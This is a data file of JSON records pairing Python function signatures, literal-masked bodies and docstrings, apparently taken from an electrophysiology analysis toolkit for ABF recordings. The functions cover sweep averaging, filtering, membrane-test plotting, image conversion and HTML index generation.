{"signature": "def average_sweep(self,T1=<NUM_LIT:0>,T2=None,sweeps=None,stdErr=False):", "body": "T1=T1*self.rate<EOL>if T2 is None:<EOL><INDENT>T2 = self.sweepSize-<NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>T2 = T2*self.rate<EOL><DEDENT>if sweeps is None:<EOL><INDENT>sweeps = range(self.sweeps)<EOL><DEDENT>Ys=np.empty((len(sweeps),(T2-T1)))<EOL>for i in range(len(sweeps)):<EOL><INDENT>self.setSweep(sweeps[i])<EOL>Ys[i]=self.dataY[T1:T2]<EOL><DEDENT>Av = np.average(Ys,<NUM_LIT:0>)<EOL>Es = np.std(Ys,<NUM_LIT:0>)<EOL>Xs = self.dataX[T1:T2]<EOL>if stdErr: <EOL><INDENT>Es = Es/np.sqrt(len(sweeps))<EOL><DEDENT>return Xs,Av,Es<EOL>", "docstring": "given an array of sweeps, return X,Y,Err average.\nThis returns *SWEEPS* of data, not just 1 data point.", "id": "f11408:c0:m11"}
{"signature": "def average_data(self,ranges=[[None,None]],percentile=None):", "body": "ranges=copy.deepcopy(ranges) <EOL>for i in range(len(ranges)):<EOL><INDENT>if ranges[i][<NUM_LIT:0>] is None:<EOL><INDENT>ranges[i][<NUM_LIT:0>] = <NUM_LIT:0><EOL><DEDENT>else:<EOL><INDENT>ranges[i][<NUM_LIT:0>] = int(ranges[i][<NUM_LIT:0>]*self.rate)<EOL><DEDENT>if ranges[i][<NUM_LIT:1>] is None:<EOL><INDENT>ranges[i][<NUM_LIT:1>] = -<NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>ranges[i][<NUM_LIT:1>] = int(ranges[i][<NUM_LIT:1>]*self.rate)<EOL><DEDENT><DEDENT>datas=np.empty((self.sweeps,len(ranges),<NUM_LIT:2>)) <EOL>for iSweep in range(self.sweeps):<EOL><INDENT>self.setSweep(iSweep)<EOL>for iRange in range(len(ranges)):<EOL><INDENT>I1=ranges[iRange][<NUM_LIT:0>]<EOL>I2=ranges[iRange][<NUM_LIT:1>]<EOL>if percentile:<EOL><INDENT>datas[iSweep][iRange][<NUM_LIT:0>]=np.percentile(self.dataY[I1:I2],percentile)<EOL><DEDENT>else:<EOL><INDENT>datas[iSweep][iRange][<NUM_LIT:0>]=np.average(self.dataY[I1:I2])<EOL><DEDENT>datas[iSweep][iRange][<NUM_LIT:1>]=np.std(self.dataY[I1:I2])<EOL><DEDENT><DEDENT>return datas<EOL>", "docstring": "given a list of ranges, return single point averages for every sweep.\nUnits are in seconds. Expects something like:\n    ranges=[[1,2],[4,5],[7,7.5]]\nNone values will be replaced with maximum/minimum bounds.\nFor baseline subtraction, make a range baseline then sub it youtself.\n    returns datas[iSweep][iRange][AVorSD]\nif a percentile is given, return that percentile rather than average.\n    percentile=50 is the median, but requires sorting, and is slower.", "id": "f11408:c0:m12"}
{"signature": "def filter_gaussian(self,sigmaMs=<NUM_LIT:100>,applyFiltered=False,applyBaseline=False):", "body": "if sigmaMs==<NUM_LIT:0>:<EOL><INDENT>return self.dataY<EOL><DEDENT>filtered=cm.filter_gaussian(self.dataY,sigmaMs)<EOL>if applyBaseline:<EOL><INDENT>self.dataY=self.dataY-filtered<EOL><DEDENT>elif applyFiltered:<EOL><INDENT>self.dataY=filtered<EOL><DEDENT>else:<EOL><INDENT>return filtered<EOL><DEDENT>", "docstring": "RETURNS filtered trace. Desn't filter it in place.", "id": "f11408:c0:m13"}
{"signature": "def saveThing(self,thing,fname,overwrite=True,ext=\"<STR_LIT>\"):", "body": "if not os.path.exists(os.path.dirname(self.outpre)):<EOL><INDENT>os.mkdir(os.path.dirname(self.outpre))<EOL><DEDENT>if ext and not ext in fname:<EOL><INDENT>fname+=ext<EOL><DEDENT>fname=self.outpre+fname<EOL>if overwrite is False:<EOL><INDENT>if os.path.exists(fname):<EOL><INDENT>print(\"<STR_LIT>\"%os.path.basename(fname))<EOL>return<EOL><DEDENT><DEDENT>time1=cm.timethis()<EOL>pickle.dump(thing, open(fname,\"<STR_LIT:wb>\"),pickle.HIGHEST_PROTOCOL)<EOL>print(\"<STR_LIT>\"%(os.path.basename(fname),str(type(thing)),<EOL>sys.getsizeof(pickle.dumps(thing, -<NUM_LIT:1>))/<NUM_LIT>,<EOL>cm.timethis(time1)))<EOL>", "docstring": "save any object as /swhlab4/ID_[fname].pkl", "id": "f11408:c0:m14"}
{"signature": "def loadThing(self,fname,ext=\"<STR_LIT>\"):", "body": "if ext and not ext in fname:<EOL><INDENT>fname+=ext<EOL><DEDENT>fname=self.outpre+fname<EOL>time1=cm.timethis()<EOL>thing = pickle.load(open(fname,\"<STR_LIT:rb>\"))<EOL>print(\"<STR_LIT>\"%(os.path.basename(fname),<EOL>sys.getsizeof(pickle.dumps(thing, -<NUM_LIT:1>))/<NUM_LIT>,<EOL>cm.timethis(time1)))<EOL>return thing<EOL>", "docstring": "save any object from /swhlab4/ID_[fname].pkl", "id": "f11408:c0:m15"}
{"signature": "def deleteStuff(self,ext=\"<STR_LIT:*>\",spareInfo=True,spare=[\"<STR_LIT>\"]):", "body": "print(\"<STR_LIT>\"+ext)<EOL>for fname in sorted(glob.glob(self.outpre+ext)):<EOL><INDENT>reallyDelete=True<EOL>for item in spare:<EOL><INDENT>if item in fname:<EOL><INDENT>reallyDelete=False<EOL><DEDENT><DEDENT>if reallyDelete:<EOL><INDENT>os.remove(fname)<EOL><DEDENT><DEDENT>", "docstring": "delete /swhlab4/ID_*", "id": "f11408:c0:m16"}
{"signature": "def plot_standard4(abf=exampleABF):", "body": "if abf.sweeps<<NUM_LIT:2>:<EOL><INDENT>return<EOL><DEDENT>swhlab.plot.new(abf)<EOL>Xs=np.arange(abf.sweeps)*abf.sweepInterval/<NUM_LIT><EOL>subplots=[<NUM_LIT>,<NUM_LIT>,<NUM_LIT>,<NUM_LIT>]<EOL>features=['<STR_LIT>','<STR_LIT>','<STR_LIT>','<STR_LIT>']<EOL>units=['<STR_LIT>','<STR_LIT>','<STR_LIT>','<STR_LIT>']<EOL>for subplot,feature,unit in zip(subplots,features,units):<EOL><INDENT>pylab.subplot(subplot)<EOL>pylab.grid(alpha=<NUM_LIT>)<EOL>pylab.plot(Xs,cm.dictVals(abf.MTs,feature),'<STR_LIT>',alpha=<NUM_LIT>)<EOL>pylab.xlabel(None)<EOL>pylab.ylabel(\"<STR_LIT>\"%(feature,unit))<EOL>swhlab.plot.comments(abf,True)<EOL>pylab.margins(<NUM_LIT:0>,<NUM_LIT>)<EOL><DEDENT>", "docstring": "make a standard memtest plot showing Ih, Ra, etc. with time.", "id": "f11409:m3"}
{"signature": "def checkSweepIC(abf=exampleABF,sweep=<NUM_LIT:0>):", "body": "_keys = abf.MTs.dtype.names<EOL>for key in _keys:<EOL><INDENT>globals()[key]=abf.MTs[key] <EOL><DEDENT>fitted=cm.algo_exp(np.arange(TCB-TCA),m,t,b)<EOL>swhlab.plot.new(abf,forceNewFigure=True)<EOL>Xs,Ys,Er=abf.average_sweep()<EOL>for subplot in [<NUM_LIT>,<NUM_LIT>]:<EOL><INDENT>pylab.subplot(subplot)<EOL>pylab.axhline(<NUM_LIT:0>,color='<STR_LIT:b>',lw=<NUM_LIT:2>,alpha=<NUM_LIT>,ls=\"<STR_LIT>\")<EOL>pylab.axhline(M2,color='<STR_LIT:b>',lw=<NUM_LIT:2>,alpha=<NUM_LIT>,ls=\"<STR_LIT>\")<EOL>swhlab.plot.sweep(abf,'<STR_LIT:all>',rainbow=False,color='<STR_LIT>',alpha=<NUM_LIT>)<EOL>pylab.plot(Xs,Ys,color='<STR_LIT:k>',alpha=<NUM_LIT>)<EOL>pylab.plot(Xs[T1A:T1B],Ys[T1A:T1B],color='<STR_LIT:b>',lw=<NUM_LIT:2>)<EOL>pylab.plot(Xs[T2A:T2B],Ys[T2A:T2B],color='<STR_LIT:b>',lw=<NUM_LIT:2>)<EOL>pylab.plot(abf.dataX[TCA:TCB],fitted,color='<STR_LIT:r>',lw=<NUM_LIT:2>,ls='<STR_LIT>')<EOL><DEDENT>pylab.axis([(TCA-<NUM_LIT:100>)/abf.rate,(TCB+<NUM_LIT:100>)/abf.rate,None,None])<EOL>pylab.tight_layout()<EOL>msg=\"<STR_LIT>\"%(tc/abf.rate*<NUM_LIT:1000>)<EOL>msg+=\"<STR_LIT>\"%(Rm)<EOL>msg+=\"<STR_LIT>\"%(Cm)<EOL>pylab.annotate(msg,(<NUM_LIT>,<NUM_LIT>),ha='<STR_LIT:left>',va='<STR_LIT>',weight='<STR_LIT>',family='<STR_LIT>',<EOL>xycoords='<STR_LIT>',size=<NUM_LIT:12>,color='<STR_LIT:g>')<EOL>swhlab.plot.annotate(abf)<EOL>return<EOL>", "docstring": "Produce an eyeball-ready indication how the MT was calculated in IC.", "id": "f11409:m4"}
{"signature": "def checkSweep(abf=exampleABF,sweep=<NUM_LIT:0>):", "body": "if abf.units==\"<STR_LIT>\":<EOL><INDENT>return checkSweepIC(abf,sweep)<EOL><DEDENT>if abf.MTs[sweep] is None:<EOL><INDENT>return False <EOL><DEDENT>_keys = abf.MTs[sweep].dtype.names<EOL>for key in _keys:<EOL><INDENT>globals()[key]=abf.MTs[sweep][key] <EOL><DEDENT>_msg2=\"<STR_LIT>\"%abf.sweeps<EOL>_msg=\"<STR_LIT>\"<EOL>for i in range(len(_keys)):<EOL><INDENT>_msg+=\"<STR_LIT>\"%(_keys[i],abf.MTs[sweep][i])<EOL>if _keys[i] in ['<STR_LIT>','<STR_LIT>','<STR_LIT>','<STR_LIT>','<STR_LIT>','<STR_LIT>']:<EOL><INDENT>_msg2+=\"<STR_LIT>\"%(_keys[i],abf.MTs[sweep][i])<EOL><DEDENT><DEDENT>fitted=cm.algo_exp(np.arange(TCB-TCA),fitM,fitT,fitB)<EOL>pylab.figure(figsize=(<NUM_LIT:8>,<NUM_LIT:8>))<EOL>for subplot in [<NUM_LIT>,<NUM_LIT>]:<EOL><INDENT>pylab.subplot(subplot)<EOL>pylab.plot(abf.dataX[:TCA],abf.dataY[:TCA],alpha=<NUM_LIT>,color='<STR_LIT:k>',lw=<NUM_LIT:2>)<EOL>pylab.plot(abf.dataX[TCB:],abf.dataY[TCB:],alpha=<NUM_LIT>,color='<STR_LIT:k>',lw=<NUM_LIT:2>)<EOL>pylab.plot(abf.dataX[TCA:TCB],abf.dataY[TCA:TCB],'<STR_LIT:o>',alpha=<NUM_LIT>,lw=<NUM_LIT:4>,mfc='<STR_LIT:none>',mec='<STR_LIT:r>')<EOL>pylab.plot(abf.dataX[T1A:T1B],abf.dataY[T1A:T1B],alpha=<NUM_LIT>,color='<STR_LIT:b>')<EOL>pylab.plot(abf.dataX[T2A:T2B],abf.dataY[T2A:T2B],alpha=<NUM_LIT>,color='<STR_LIT:b>')<EOL>pylab.plot(abf.dataX[TCA:TCB],fitted,color='<STR_LIT:k>',lw=<NUM_LIT:2>,ls=\"<STR_LIT>\")<EOL>for i in [TA, TB]:<EOL><INDENT>pylab.axvline(i/abf.rate,color='<STR_LIT:k>',ls='<STR_LIT>',alpha=<NUM_LIT>)<EOL><DEDENT>for i in [P1,P2]:<EOL><INDENT>pylab.axhline(i,color='<STR_LIT:b>',ls=\"<STR_LIT>\",alpha=<NUM_LIT>)<EOL><DEDENT>for i in [PCA,PCB,PP]:<EOL><INDENT>pylab.axhline(i,color='<STR_LIT:g>',ls=\"<STR_LIT>\",alpha=<NUM_LIT>)<EOL><DEDENT><DEDENT>pylab.tight_layout()<EOL>pylab.subplots_adjust(right=<NUM_LIT>)<EOL>pylab.annotate(_msg,(<NUM_LIT>,<NUM_LIT>),ha='<STR_LIT:left>',va='<STR_LIT>',alpha=<NUM_LIT>,<EOL>xycoords='<STR_LIT>',family='<STR_LIT>',size=<NUM_LIT:10>)<EOL>pylab.annotate(_msg2,(<NUM_LIT>,<NUM_LIT>),ha='<STR_LIT:left>',va='<STR_LIT>',weight='<STR_LIT>',family='<STR_LIT>',<EOL>xycoords='<STR_LIT>',size=<NUM_LIT:12>,color='<STR_LIT:g>')<EOL>pylab.subplot(<NUM_LIT>)<EOL>pylab.axis([None,abf.dataX[T2B]+<NUM_LIT>,None,None])<EOL>pylab.subplot(<NUM_LIT>)<EOL>pylab.axis([(TB-<NUM_LIT:20>)/abf.rate,(TCB+<NUM_LIT:20>)/abf.rate,P1-<NUM_LIT:20>,PP+<NUM_LIT:20>])<EOL>swhlab.plot.annotate(abf)<EOL>for key in _keys:<EOL><INDENT>del key <EOL><DEDENT>return<EOL>", "docstring": "Produce an eyeball-ready indication how the MT was calculated in VC.", "id": "f11409:m5"}
{"signature": "def convert(fname,saveAs=True,showToo=False):", "body": "<EOL>im=ndimage.imread(fname) <EOL>im=np.array(im,dtype=float) <EOL>cutoffLow=np.percentile(im,<NUM_LIT>)<EOL>cutoffHigh=np.percentile(im,<NUM_LIT>)<EOL>im[np.where(im<cutoffLow)]=cutoffLow<EOL>im[np.where(im>cutoffHigh)]=cutoffHigh<EOL>im-=np.min(im) <EOL>im/=np.max(im) <EOL>im*=<NUM_LIT:255> <EOL>im = Image.fromarray(im)<EOL>msg=\"<STR_LIT>\"%os.path.basename(fname)<EOL>msg+=\"<STR_LIT>\"%cm.epochToString(os.path.getmtime(fname))<EOL>d = ImageDraw.Draw(im)<EOL>fnt = ImageFont.truetype(\"<STR_LIT>\", <NUM_LIT:20>)<EOL>d.text((<NUM_LIT:6>,<NUM_LIT:6>),msg,font=fnt,fill=<NUM_LIT:0>)<EOL>d.text((<NUM_LIT:4>,<NUM_LIT:4>),msg,font=fnt,fill=<NUM_LIT:255>)<EOL>if showToo:<EOL><INDENT>im.show()<EOL><DEDENT>if saveAs is False:<EOL><INDENT>return<EOL><DEDENT>if saveAs is True:<EOL><INDENT>saveAs=fname+\"<STR_LIT>\"<EOL><DEDENT>im.convert('<STR_LIT>').save(saveAs)<EOL>return saveAs<EOL>", "docstring": "Convert weird TIF files into web-friendly versions.\nAuto contrast is applied (saturating lower and upper 0.1%).\n    make saveAs True to save as .TIF.png\n    make saveAs False and it won't save at all\n    make saveAs \"someFile.jpg\" to save it as a different path/format", "id": "f11411:m0"}
{"signature": "def genPNGs(folder,files=None):", "body": "if files is None:<EOL><INDENT>files=glob.glob(folder+\"<STR_LIT>\")<EOL><DEDENT>new=[]<EOL>for fname in files:<EOL><INDENT>ext=os.path.basename(fname).split(\"<STR_LIT:.>\")[-<NUM_LIT:1>].lower()<EOL>if ext in ['<STR_LIT>','<STR_LIT>']:<EOL><INDENT>if not os.path.exists(fname+\"<STR_LIT>\"):<EOL><INDENT>print(\"<STR_LIT>\"%os.path.basename(fname))<EOL>cm.image_convert(fname)<EOL>new.append(fname) <EOL><DEDENT>else:<EOL><INDENT>pass<EOL><DEDENT><DEDENT><DEDENT>return new<EOL>", "docstring": "Convert each TIF to PNG. Return filenames of new PNGs.", "id": "f11412:m0"}
{"signature": "def htmlABFcontent(ID,group,d):", "body": "html=\"<STR_LIT>\"<EOL>files=[]<EOL>for abfID in group:<EOL><INDENT>files.extend(d[abfID])<EOL><DEDENT>files=sorted(files)<EOL>html+=\"<STR_LIT>\"<EOL>for fname in files:<EOL><INDENT>if \"<STR_LIT>\" in fname.lower() and not \"<STR_LIT>\" in fname:<EOL><INDENT>fname=\"<STR_LIT>\"+os.path.basename(fname)<EOL>html+='<STR_LIT>'%(fname,fname)<EOL><DEDENT><DEDENT>html+=\"<STR_LIT>\"<EOL>lastID='<STR_LIT>'<EOL>for fname in sorted(files):<EOL><INDENT>if not \"<STR_LIT>\" in fname:<EOL><INDENT>continue<EOL><DEDENT>ID=os.path.basename(fname).split(\"<STR_LIT:_>\")[<NUM_LIT:0>]<EOL>if not ID==lastID:<EOL><INDENT>lastID=ID<EOL>html+=\"<STR_LIT>\"%os.path.basename(fname).split(\"<STR_LIT:_>\")[<NUM_LIT:0>]<EOL><DEDENT>if \"<STR_LIT>\" in fname.lower():<EOL><INDENT>fname=os.path.basename(fname)<EOL>html+='<STR_LIT>'%(fname,fname)<EOL>continue<EOL><DEDENT><DEDENT>html+=\"<STR_LIT>\"<EOL>for fname in files:<EOL><INDENT>if not \"<STR_LIT>\" in fname:<EOL><INDENT>continue<EOL><DEDENT>if \"<STR_LIT>\" in fname:<EOL><INDENT>callit=os.path.basename(fname)<EOL>thing=cm.getPkl(fname)<EOL>if \"<STR_LIT>\" in fname:<EOL><INDENT>callit+=\"<STR_LIT>\"<EOL>thing=cm.dictFlat(thing)<EOL>if len(thing):<EOL><INDENT>thing=thing[<NUM_LIT:0>]<EOL><DEDENT><DEDENT>elif \"<STR_LIT>\" in fname:<EOL><INDENT>if type(thing) == dict:<EOL><INDENT>callit+=\"<STR_LIT>\"<EOL><DEDENT>else:<EOL><INDENT>callit+=\"<STR_LIT>\"<EOL>thing=thing[<NUM_LIT:0>]<EOL><DEDENT><DEDENT>elif \"<STR_LIT>\" in fname:<EOL><INDENT>continue <EOL><DEDENT>elif \"<STR_LIT>\" in fname or \"<STR_LIT>\" in fname:<EOL><INDENT>pass <EOL><DEDENT>else:<EOL><INDENT>print(\"<STR_LIT>\"%os.path.basename(fname))<EOL>continue<EOL><DEDENT>if type(thing) is dict:<EOL><INDENT>thing=cm.msgDict(thing)<EOL><DEDENT>if type(thing) is list:<EOL><INDENT>out='<STR_LIT>'<EOL>for item in thing:<EOL><INDENT>out+=str(item)+\"<STR_LIT:\\n>\"<EOL><DEDENT>thing=out<EOL><DEDENT>thing=str(thing) <EOL>thing=\"<STR_LIT>\"%os.path.basename(fname)+thing<EOL>html+=\"<STR_LIT>\"%(os.path.basename(fname),thing)<EOL><DEDENT><DEDENT>return html<EOL>", "docstring": "generate text to go inside <body> for single ABF page.", "id": "f11412:m1"}
{"signature": "def htmlABF(ID,group,d,folder,overwrite=False):", "body": "fname=folder+\"<STR_LIT>\"%ID<EOL>if overwrite is False and os.path.exists(fname):<EOL><INDENT>return<EOL><DEDENT>html=TEMPLATES['<STR_LIT>']<EOL>html=html.replace(\"<STR_LIT>\",ID)<EOL>html=html.replace(\"<STR_LIT>\",htmlABFcontent(ID,group,d))<EOL>print(\"<STR_LIT>\"%os.path.basename(fname))<EOL>with open(fname,'<STR_LIT:w>') as f:<EOL><INDENT>f.write(html)<EOL><DEDENT>return<EOL>", "docstring": "given an ID and the dict of files, generate a static html for that abf.", "id": "f11412:m2"}
{"signature": "def expMenu(groups,folder):", "body": "<EOL>orphans = sorted(list(groups.keys()))<EOL>menu=[]<EOL>if os.path.exists(folder+'<STR_LIT>'):<EOL><INDENT>with open(folder+'<STR_LIT>') as f:<EOL><INDENT>raw=f.read()<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raw=\"<STR_LIT>\"<EOL><DEDENT>for line in raw.split(\"<STR_LIT:\\n>\"):<EOL><INDENT>item={}<EOL>if len(line)==<NUM_LIT:0>:<EOL><INDENT>continue<EOL><DEDENT>if line.startswith(\"<STR_LIT>\"):<EOL><INDENT>line=line[<NUM_LIT:1>:].split(\"<STR_LIT:U+0020>\",<NUM_LIT:2>)<EOL>item[\"<STR_LIT>\"]=line[<NUM_LIT:0>]<EOL>item[\"<STR_LIT>\"]='<STR_LIT>'<EOL>if len(line)><NUM_LIT:1>:<EOL><INDENT>item[\"<STR_LIT>\"]=line[<NUM_LIT:1>]<EOL><DEDENT>else:<EOL><INDENT>item[\"<STR_LIT>\"]=\"<STR_LIT>\"<EOL><DEDENT>if len(line)><NUM_LIT:2> and len(line[<NUM_LIT:2>]):<EOL><INDENT>item[\"<STR_LIT>\"]=line[<NUM_LIT:2>]<EOL>if item[\"<STR_LIT>\"][<NUM_LIT:0>]==\"<STR_LIT:*>\":<EOL><INDENT>item[\"<STR_LIT>\"]='<STR_LIT:*>'<EOL><DEDENT><DEDENT>else:<EOL><INDENT>item[\"<STR_LIT>\"]='<STR_LIT>'<EOL><DEDENT>if item[\"<STR_LIT>\"] in orphans:<EOL><INDENT>orphans.remove(item[\"<STR_LIT>\"])<EOL><DEDENT><DEDENT>elif line.startswith(\"<STR_LIT>\"):<EOL><INDENT>line=line[<NUM_LIT:3>:].strip().split(\"<STR_LIT:U+0020>\",<NUM_LIT:1>)<EOL>item[\"<STR_LIT:title>\"]=line[<NUM_LIT:0>]<EOL>item[\"<STR_LIT>\"]='<STR_LIT>'<EOL>if len(line)><NUM_LIT:1>:<EOL><INDENT>if line[<NUM_LIT:1>].startswith(\"<STR_LIT>\"):<EOL><INDENT>line[<NUM_LIT:1>]=line[<NUM_LIT:1>][<NUM_LIT:2>:]<EOL><DEDENT>item[\"<STR_LIT>\"]=line[<NUM_LIT:1>]<EOL><DEDENT><DEDENT>else:<EOL><INDENT>item[\"<STR_LIT>\"]=line<EOL><DEDENT>menu.append(item)<EOL><DEDENT>menu.append({\"<STR_LIT:title>\":\"<STR_LIT>\",\"<STR_LIT>\":\"<STR_LIT>\"})<EOL>for ophan in orphans:<EOL><INDENT>menu.append({\"<STR_LIT>\":ophan,\"<STR_LIT>\":ophan,\"<STR_LIT>\":'<STR_LIT>',\"<STR_LIT>\":'<STR_LIT>',\"<STR_LIT>\":'<STR_LIT>'})<EOL><DEDENT>return menu<EOL>", "docstring": "read experiment.txt and return a dict with [firstOfNewExp, color, star, comments].", "id": "f11412:m4"}
{"signature": "def genIndex(folder,forceIDs=[]):", "body": "if not os.path.exists(folder+\"<STR_LIT>\"):<EOL><INDENT>print(\"<STR_LIT>\")<EOL>return<EOL><DEDENT>timestart=cm.timethis()<EOL>files=glob.glob(folder+\"<STR_LIT>\") <EOL>files.extend(glob.glob(folder+\"<STR_LIT>\"))<EOL>print(\"<STR_LIT>\"%(cm.timethis(timestart)*<NUM_LIT:1000>))<EOL>files.extend(genPNGs(folder,files))<EOL>files=sorted(files)<EOL>timestart=cm.timethis()<EOL>d=cm.getIDfileDict(files) <EOL>print(\"<STR_LIT>\",len(d))<EOL>print(\"<STR_LIT>\"%(cm.timethis(timestart)*<NUM_LIT:1000>))<EOL>groups=cm.getABFgroups(files)<EOL>print(\"<STR_LIT>\",len(groups))<EOL>for ID in sorted(list(groups.keys())):<EOL><INDENT>overwrite=False<EOL>for abfID in groups[ID]:<EOL><INDENT>if abfID in forceIDs:<EOL><INDENT>overwrite=True<EOL><DEDENT><DEDENT>try:<EOL><INDENT>htmlABF(ID,groups[ID],d,folder,overwrite)<EOL><DEDENT>except:<EOL><INDENT>print(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>menu=expMenu(groups,folder)<EOL>makeSplash(menu,folder)<EOL>makeMenu(menu,folder)<EOL>htmlFrames(d,folder)<EOL>makeMenu(menu,folder)<EOL>makeSplash(menu,folder)<EOL>", "docstring": "expects a folder of ABFs.", "id": "f11412:m8"}
{"signature": "def proto_00_01_gf(abf=exampleABF):", "body": "standard_inspect(abf)<EOL>", "docstring": "gap free recording", "id": "f11413:m3"}
{"signature": "def proto_00_02_egf(abf=exampleABF):", "body": "standard_inspect(abf)<EOL>", "docstring": "episodic with no epochs (virtually gap free)", "id": "f11413:m4"}
{"signature": "def proto_01_01_HP010(abf=exampleABF):", "body": "swhlab.memtest.memtest(abf) <EOL>swhlab.memtest.checkSweep(abf) <EOL>swhlab.plot.save(abf,tag=\"<STR_LIT>\")<EOL>", "docstring": "hyperpolarization step. Use to calculate tau and stuff.", "id": "f11413:m5"}
{"signature": "def proto_01_11_rampStep(abf=exampleABF):", "body": "standard_inspect(abf)<EOL>swhlab.ap.detect(abf)<EOL>swhlab.ap.check_sweep(abf) <EOL>swhlab.plot.save(abf,tag=\"<STR_LIT>\")<EOL>swhlab.ap.check_AP_raw(abf) <EOL>swhlab.plot.save(abf,tag=\"<STR_LIT>\",resize=False)<EOL>swhlab.ap.check_AP_deriv(abf) <EOL>swhlab.plot.save(abf,tag=\"<STR_LIT>\")<EOL>swhlab.ap.check_AP_phase(abf) <EOL>swhlab.plot.save(abf,tag=\"<STR_LIT>\")<EOL>for feature in ['<STR_LIT>','<STR_LIT>']:<EOL><INDENT>swhlab.ap.plot_values(abf,feature,continuous=True) <EOL>swhlab.plot.save(abf,tag=feature)<EOL><DEDENT>", "docstring": "each sweep is a ramp (of set size) which builds on the last sweep.\n    Used for detection of AP properties from first few APs.", "id": "f11413:m6"}
{"signature": "def proto_01_12_steps025(abf=exampleABF):", "body": "swhlab.ap.detect(abf)<EOL>standard_groupingForInj(abf,<NUM_LIT:200>)<EOL>for feature in ['<STR_LIT>','<STR_LIT>']:<EOL><INDENT>swhlab.ap.plot_values(abf,feature,continuous=False) <EOL>swhlab.plot.save(abf,tag='<STR_LIT>'+feature)<EOL><DEDENT>swhlab.plot.gain(abf) <EOL>swhlab.plot.save(abf,tag='<STR_LIT>')<EOL>", "docstring": "IC steps. Use to determine gain function.", "id": "f11413:m7"}
{"signature": "def proto_01_13_steps025dual(abf=exampleABF):", "body": "swhlab.ap.detect(abf)<EOL>standard_groupingForInj(abf,<NUM_LIT:200>)<EOL>for feature in ['<STR_LIT>','<STR_LIT>']:<EOL><INDENT>swhlab.ap.plot_values(abf,feature,continuous=False) <EOL>swhlab.plot.save(abf,tag='<STR_LIT>'+feature)<EOL><DEDENT>f1=swhlab.ap.getAvgBySweep(abf,'<STR_LIT>',None,<NUM_LIT:1>)<EOL>f2=swhlab.ap.getAvgBySweep(abf,'<STR_LIT>',<NUM_LIT:1>,None)<EOL>f1=np.nan_to_num(f1)<EOL>f2=np.nan_to_num(f2)<EOL>Xs=abf.clampValues(abf.dataX[int(abf.protoSeqX[<NUM_LIT:1>]+<NUM_LIT>)])<EOL>swhlab.plot.new(abf,title=\"<STR_LIT>\",xlabel=\"<STR_LIT>\",<EOL>ylabel=\"<STR_LIT>\")<EOL>pylab.plot(Xs,f1,'<STR_LIT>',ms=<NUM_LIT:20>,alpha=<NUM_LIT>,label=\"<STR_LIT>\",color='<STR_LIT:b>')<EOL>pylab.plot(Xs,f2,'<STR_LIT>',ms=<NUM_LIT:20>,alpha=<NUM_LIT>,label=\"<STR_LIT>\",color='<STR_LIT:r>')<EOL>pylab.legend(loc='<STR_LIT>')<EOL>pylab.axis([Xs[<NUM_LIT:0>],Xs[-<NUM_LIT:1>],None,None])<EOL>swhlab.plot.save(abf,tag='<STR_LIT>')<EOL>", "docstring": "IC steps. See how hyperpol. step affects things.", "id": "f11413:m9"}
{"signature": "def proto_02_01_MT70(abf=exampleABF):", "body": "standard_overlayWithAverage(abf)<EOL>swhlab.memtest.memtest(abf)<EOL>swhlab.memtest.checkSweep(abf)<EOL>swhlab.plot.save(abf,tag='<STR_LIT>',resize=False)<EOL>", "docstring": "repeated membrane tests.", "id": "f11413:m10"}
{"signature": "def proto_02_02_IVdual(abf=exampleABF):", "body": "av1,sd1=swhlab.plot.IV(abf,<NUM_LIT>,<NUM_LIT:1>,True,'<STR_LIT:b>')<EOL>swhlab.plot.save(abf,tag='<STR_LIT>')<EOL>a2v,sd2=swhlab.plot.IV(abf,<NUM_LIT>,<NUM_LIT>,True,'<STR_LIT:r>')<EOL>swhlab.plot.save(abf,tag='<STR_LIT>')<EOL>swhlab.plot.sweep(abf,'<STR_LIT:all>')<EOL>pylab.axis([None,None,min(av1)-<NUM_LIT:50>,max(av1)+<NUM_LIT:50>])<EOL>swhlab.plot.save(abf,tag='<STR_LIT>')<EOL>", "docstring": "dual I/V steps in VC mode, one from -70 and one -50.", "id": "f11413:m11"}
{"signature": "def proto_02_03_IVfast(abf=exampleABF):", "body": "av1,sd1=swhlab.plot.IV(abf,<NUM_LIT>,<NUM_LIT>,True)<EOL>swhlab.plot.save(abf,tag='<STR_LIT>')<EOL>Xs=abf.clampValues(<NUM_LIT>) <EOL>abf.saveThing([Xs,av1],'<STR_LIT>')<EOL>", "docstring": "fast sweeps, 1 step per sweep, for clean IV without fast currents.", "id": "f11413:m12"}
{"signature": "def proto_03_01_0s2(abf=exampleABF):", "body": "standard_inspect(abf)<EOL>", "docstring": "repeated membrane tests, likely with drug added. Maybe IPSCs.", "id": "f11413:m13"}
{"signature": "def proto_04_01_MTmon70s2(abf=exampleABF):", "body": "standard_inspect(abf)<EOL>swhlab.memtest.memtest(abf)<EOL>swhlab.memtest.checkSweep(abf)<EOL>swhlab.plot.save(abf,tag='<STR_LIT>',resize=False)<EOL>swhlab.memtest.plot_standard4(abf)<EOL>swhlab.plot.save(abf,tag='<STR_LIT>')<EOL>", "docstring": "repeated membrane tests, likely with drug added. Maybe IPSCs.", "id": "f11413:m14"}
{"signature": "def proto_VC_50_MT_IV(abf=exampleABF):", "body": "swhlab.memtest.memtest(abf) <EOL>swhlab.memtest.checkSweep(abf) <EOL>swhlab.plot.save(abf,tag='<STR_LIT>',resize=False)<EOL>av1,sd1=swhlab.plot.IV(abf,<NUM_LIT>,<NUM_LIT>,True,'<STR_LIT:b>')<EOL>swhlab.plot.save(abf,tag='<STR_LIT>')<EOL>Xs=abf.clampValues(<NUM_LIT>) <EOL>abf.saveThing([Xs,av1],'<STR_LIT>')<EOL>", "docstring": "combination of membrane test and IV steps.", "id": "f11413:m15"}
